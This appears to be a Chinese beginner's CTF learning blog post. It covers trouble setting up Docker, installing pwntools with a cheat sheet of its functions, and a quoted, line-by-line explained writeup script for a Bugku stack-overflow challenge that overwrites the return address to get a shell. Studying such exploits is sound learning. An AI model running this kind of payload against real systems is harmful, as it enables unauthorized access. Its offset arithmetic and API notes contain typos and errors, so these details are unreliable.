前言
環境配置真的煩人…不說了淚目。
pwn第二天本來計劃繼續學棧溢出的,但南郵比賽今晚九點開始,於是先把pwn的環境配置好了再說。
按照網上各種教程結果亂七八糟的不知道怎麼弄…
失敗過很多次。於是把自己的經驗寫在這裏吧。
今天一天都用來配置環境了= =
(主要是我想弄docker)
而且踩的坑太多太多,我已經無力了
安裝docker——失敗
https://blog.csdn.net/qq_27818541/article/details/73647797
然後運行到helloword出錯,解決方法
https://blog.csdn.net/CaoMei_HuaCha/article/details/87544109
然後後面導入鏡像和使用docker失敗了= =
還去阿里雲搞了個倉庫
然後發現這個是用來搭建環境的,也就是模擬真題,與出題有關orz
於是先放棄,先搭建pwntools好了
安裝pwntool
在kali中安裝pwntools,安裝完成後輸入python進入python環境,使用from pwn import * 導入pwntools庫
pwntool安裝和使用的一些語句
https://www.jianshu.com/p/355e4badab50
such as
本地 :sh = porcess("./level0")
遠程:sh = remote("127.0.0.1",10001)
關閉連接:sh.close()
sh.send(data) 發送數據
sh.sendline(data) 發送一行數據,相當於在數據後面加\n
sh.recv(numb = 2048, timeout = dufault) 接受數據,numb指定接收的字節,timeout指定超時
sh.recvline(keepends=True) 接受一行數據,keepends爲是否保留行尾的\n
sh.recvuntil("Hello,World\n",drop=fasle) 接受數據直到我們設置的標誌出現
sh.recvall() 一直接收直到EOF
sh.recvrepeat(timeout = default) 持續接受直到EOF或timeout
sh.interactive() 直接進行交互,相當於回到shell的模式,在取得shell之後使用
練手
放這裏,拿幾道題目練練手。
bugku的pwn2是棧溢出
用ida打開f5查看僞代碼如下
網上wp腳本如下
from pwn import *
sh = remote("114.116.54.89", 10003)
print sh.recv()
payload="A" * 0x38 + p64(0x400751)
sh.sendline(payload)
sh.interactive()
一句句分析。
sh = remote("114.116.54.89", 10003)
對照腳本即獲取nc端口地址,進行遠程連接
print sh.recv()
讀取數據
payload="A" * 0x38 + p64(0x400751)
這句便是棧溢出的精髓了,構造payload,38個A是因爲前面定義s的地址指針是rbp-30,64位的返回地址通常是rbp+8,加起來是38,所以弄三十八個覆蓋掉,然後eip剛好就可以輸入p64(0x400751)也就是這裏get shell的地址。
sh.sendline(payload)
發送這一行數據,這裏相當於在nc端口終端輸入了構造好的語句。同時也有個很重要的地方,就是read讀取可以達到100,如果read只能讀取30那棧溢出就沒用了,就會自己截斷掉。
最後sh.interactive()
取得shell